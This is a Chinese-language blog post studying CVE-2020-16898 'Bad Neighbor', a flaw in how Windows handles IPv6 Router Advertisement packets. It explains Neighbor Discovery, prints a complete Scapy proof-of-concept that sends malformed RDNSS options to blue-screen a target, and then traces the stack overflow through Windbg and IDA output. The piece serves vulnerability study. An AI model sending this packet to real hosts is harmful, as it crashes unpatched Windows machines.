1. 程式人生 > 實用技巧 >CVE-2020-16898 "Bad Neighbor " Windows TCP/IP遠端程式碼執行漏洞學習

CVE-2020-16898 "Bad Neighbor " Windows TCP/IP遠端程式碼執行漏洞學習

  一、該漏洞和router advertisement相關,先來學習一下相關協議;

  IPV4時代,如果想探測其他主機是否存活,要麼用ARP(一般是局域內網),要麼用ICMP(一般是公網)。但是在IPV6時代改用了Neighbor Discovery Protocol(簡稱NDP),該協議定義了使用ICMPv6報文實現地址解析跟蹤鄰居狀態重複地址檢測路由器發現以及重定向等功能。

  1、先介紹個簡單的地址解析:IPV4時代,當需要和其他主機通訊時,需要知道對方的MAC地址,否則交換機是沒法轉發幀的,這時就需要ARP協議,讓目標主機告知其MAC地址;IPV6時代,NDP實現了該功能;NDP在將IP地址解析為MAC地址時用了兩種報文:鄰居請求報文NS(Neighbor Solicitation)和鄰居通告報文NA(Neighbor Advertisement),作用分別類似於ARP請求和ARP應答,整個過程說明如下:

  用wireshark抓包如下:

  • NS包:Type:Neighbor Solicitation(135),源MAC是00:e0:fc:7a:28:89,源IP是2000::1

  

  • NA包:Type:Neighbor Advertisment(136),目標MAC是00:e0:fc:dc:5e:81

  

  其中有3個flags欄位,含義如下:

  • R:路由器標記。當置1時,R位指出傳送者是路由器。R位由Neighbor Unreachability Detection使用,用於檢測改變為主機的路由器。
  • S:請求標記。當置1時,S位指出通告被髮送以響應來自目的地地址的Neighbor Solicitation。S位用作Neighbor Unreachability Detection的可達性確認。在多播通告和非請求單播通告中置0。
  • O:替代標記。替代標誌,1表示通告中的資訊替代快取,如更新鏈路層地址時,對於任播的迴應則不應置位。在針對任播地址的請求通告中,以及在請求的字首通告中它不能被置1。在其他請求通告中和在非請求通告中它應當被置1;

  2、NDP協議除了地址解析,還能用於路由器發現。windows對通過該協議接受到的資料包(Router Advertisement包)處理不當,導致了遠端程式碼執行漏洞,也就是本文的主題漏洞:CVE-2020-16898;

  路由器發現:用來發現與本地鏈路相連的裝置,並獲取與地址自動配置相關的字首和其他配置引數;說直白一點,就是路由器通過傳送廣播報文或傳送給指定的路由器鄰居以主動把自己介紹給網段內的其他路由器,用以更新路由表,便於後續更高效、快速地轉發資料報

;和地址解析類似,路由發現也有Router Advertisement和Router Solicitation兩種報文。

  • 路由器請求RS(Router Solicitation)報文:很多情況下主機接入網路後希望儘快獲取網路字首進行通訊,此時主機可以立刻傳送RS報文,網路上的裝置將回應RA報文。RS報文的Tpye欄位值為133,如下:

  • 路由器通告RA(Router Advertisement)報文:每臺裝置為了讓二層網路上的主機和裝置知道自己的存在,定時都會組播發送RA報文,RA報文中會帶有網路字首資訊,及其他一些標誌位資訊。RA報文的Type欄位值為134。

路由器發現功能如下圖所示:

  3、整個NDP概括如下:

  二、上個月爆出的CVE-2020-16898 "bad neighbor" 漏洞,就和NDP相關。遠端攻擊者通過構造特製的ICMPv6 Router Advertisement(路由通告)資料包 ,並將其傳送到遠端Windows主機上,可造成遠端主機藍屏;

  1、先來複現一波漏洞,有個直觀的感受。網上有各種配置教程,主要是開啟靶機(一般用虛擬機器)的ipv6,然後配置exp.py中的靶機和攻擊機ipv6地址,然後給靶機發送特殊的資料,造成靶機記憶體溢位,進而藍屏;整個exp.py程式碼不多,如下:

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "fd15:4ba5:5a2b:1008:ac63:9284:85b2:d191"
v6_src = "fe80::89f4:90a3:4bab:16bc%26"
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)

迴圈傳送了13次:

  wireshark抓包:可以看到傳送了好多ICMPV6 Option的包,並且Recursive DNS server的值已經被改成我們自己設定好的A了;

  

  由於靶機掛在了windbg,捕獲了異常,靶機並未藍屏,但已經卡死,無法做任何操作;從堆疊的資料看,大部分都被我們構造的a填滿,從TCPIP模組的Ipv6pHandleRouterAdvertisement+0xe01偏移開始出現異常,進而觸發了securityCheck,下面就從這裡開始按圖索驥,順藤摸瓜!

  

  這裡先保留一些有用的資訊:

Arguments:
Arg1: 0000000000000002, Stack cookie instrumentation code detected a stack-based
    buffer overrun.
Arg2: fffff802abe3bfb0, Address of the trap frame for the exception that caused the bugcheck
Arg3: fffff802abe3bf08, Address of the exception record for the exception that caused the bugcheck
Arg4: 0000000000000000, Reserved
TRAP_FRAME:  fffff802abe3bfb0 -- (.trap 0xfffff802abe3bfb0)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000005 rbx=0000000000000000 rcx=0000000000000002
rdx=00000000000001ff rsi=0000000000000000 rdi=0000000000000000
rip=fffff8097dd97b45 rsp=fffff802abe3c148 rbp=fffff802abe3c250
 r8=fffff802abe3c268  r9=0000000000000110 r10=0000000000001001
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
tcpip!_report_gsfailure+0x5:
fffff809`7dd97b45 cd29            int     29h
Resetting default scope

EXCEPTION_RECORD:  fffff802abe3bf08 -- (.exr 0xfffff802abe3bf08)
ExceptionAddress: fffff8097dd97b45 (tcpip!_report_gsfailure+0x0000000000000005)
   ExceptionCode: c0000409 (Security check failure or stack buffer overrun)
  ExceptionFlags: 00000001
NumberParameters: 1
   Parameter[0]: 0000000000000002
Subcode: 0x2 FAST_FAIL_STACK_COOKIE_CHECK_FAILURE

  2、通過IDA開啟tcpip.sys,找到異常後最後一個函式Ipv6pHandleRouterAdvertisement,並且根據偏移0xe01定位到出問題的程式碼(也就是0x1C0029221這裡):確實是在security_check這裡。結合上面爆出的gsfailure,應該是呼叫_security_check_cookie時導致了gsfailure;

  

  Ipv6pHandleRouterAdvertisement裡面呼叫了很多其他函式,究竟是哪個函式導致了gsfailure了?我們人為構造的資料報在核心解析後,其中有個欄位叫type:recursive dns server(25)【上面的wireshark抓包有】,這個欄位的值是25,16進位制就是0x19,剛好在Ipv6pHandleRouterAdvertisement的while(1)迴圈中有case 0x19這個選項,裡面呼叫了一個叫做Ipv6pUpdateRDNSS的函式,從名字看是更新RDNS的,剛好ICMPV6 option傳送的就是recursive dns server的地址,所以大膽猜測:在case 0x19這個分支,接受type是recursive dns server的option包,然後解析、更新RDNS的值,接下來我們進一步分析這個函式;

  

  進入Ipv6pUpdateRDNSS函式後,有一行關鍵程式碼標紅如下:這一行計算IPV6地址數量。這裡的V9來自我們傳送的IPV6 Option包的length欄位。從上面wireshar抓包的情況看,該欄位是8,那麼得到的IPV6地址數量就是(8-1)/2=3;

  

  因此會按照3*0x18(一個ipv6地址加上Type/Length/ Reserved/Lifetime)= 0x48的偏移進行解析下一個Option,這0x48位元組剛好是第一個option的長度。也就是說,Ipv6pHandleRouterAdvertisement的函式會直接從下面第三個紅框處解析下一個option:很明顯,這裡的RDNS是錯的,並且還很多,直接還長達168byte。並且還有11個同樣的option,足以覆蓋棧的stack cookie(看上面windbg的kv棧回溯);

  

  總結: 這類漏洞的原理很簡單:接受外部的字串後未作長度或內容檢查,導致分配的記憶體不夠儲存接受的資料,進而讓接受的資料超過分配的快取長度,覆蓋了核心其他程式碼和資料,導致藍屏;更狠一點的可以導致RCE

參考:

1、https://www.4hou.com/posts/jLlY CVE-2020-16898 "Bad Neighbor " Windows TCP/IP遠端程式碼執行漏洞分析

2、https://cert.360.cn/report/detail?id=771d8ddc2d703071d5761b6a2b139793CVE-2020-16898: Windows TCP/IP遠端執行程式碼漏洞分析

3、https://cshihong.github.io/2018/01/29/IPv6%E9%82%BB%E5%B1%85%E5%8F%91%E7%8E%B0%E5%8D%8F%E8%AE%AE/ IPv6鄰居發現協議

4、https://tools.ietf.org/html/rfc8106IPv6 Router Advertisement Options for DNS Configuration

5、https://github.com/komomon/CVE-2020-16898-EXP-POC 漏洞利用POC

6、https://www.dazhuanlan.com/2019/11/18/5dd20c8870856/ Stack Cookie執行原理